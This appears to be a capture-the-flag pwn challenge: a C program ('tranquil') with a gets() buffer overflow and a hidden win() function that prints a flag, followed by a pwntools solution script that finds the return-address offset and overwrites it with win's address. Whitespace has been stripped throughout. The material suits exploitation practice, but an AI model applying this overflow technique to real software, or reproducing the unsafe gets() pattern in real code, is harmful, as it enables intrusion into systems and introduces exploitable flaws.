#include<stdio.h>#include<stdlib.h>#include<string.h>intwin(){char flag[128]; FILE *file =fopen("flag.txt","r");if (!file) {printf("Missing flag.txt. Contact an admin if you see this on remote.");exit(1); }fgets(flag,128, file);puts(flag);}intvuln(){char password[64];puts("Enter the secret word: ");gets(&password);if(strcmp(password,"password123")==0){puts("Logged in! The flag is somewhere else though..."); } else {puts("Login failed!"); }return0;}intmain(){setbuf(stdout,NULL);setbuf(stderr,NULL);vuln();// not so easy for you!// win();return0;}
Solution
from pwn import*defstart(argv=[],*a,**kw):if args.GDB:# Set GDBscript belowreturn gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)elif args.REMOTE:# ('server', 'port')returnremote(sys.argv[1], sys.argv[2], *a, **kw)else:# Run locallyreturnprocess([exe] + argv, *a, **kw)deffind_ip(payload):# Launch process and send payload p =process(exe) p.sendlineafter(':', payload)# Wait for the process to crash p.wait()# Print out the address of EIP/RIP at the time of crashing# ip_offset = cyclic_find(p.corefile.pc) # x86 ip_offset =cyclic_find(p.corefile.read(p.corefile.sp, 4))# x64info('located EIP/RIP offset at {a}'.format(a=ip_offset))return ip_offset# Specify your GDB script here for debugginggdbscript ='''init-pwndbgcontinue'''.format(**locals())# Set up pwntools for the correct architectureexe ='./tranquil'# This will automatically get context arch, bits, os etcelf = context.binary =ELF(exe, checksec=False)# Enable verbose logging so we can see exactly what is being sent (info/debug)context.log_level ='debug'# ===========================================================# EXPLOIT GOES HERE# ===========================================================# Pass in pattern_size, get back EIP/RIP offsetoffset =find_ip(cyclic(100))# Start programio =start()# Build the payloadpayload =flat({ offset: elf.symbols.win})# Save the payload to filewrite('payload', payload)# Send the payloadio.sendlineafter(': ', payload)io.recvuntil('Login failed!\n')# Get our flag!flag = io.recv()success(flag)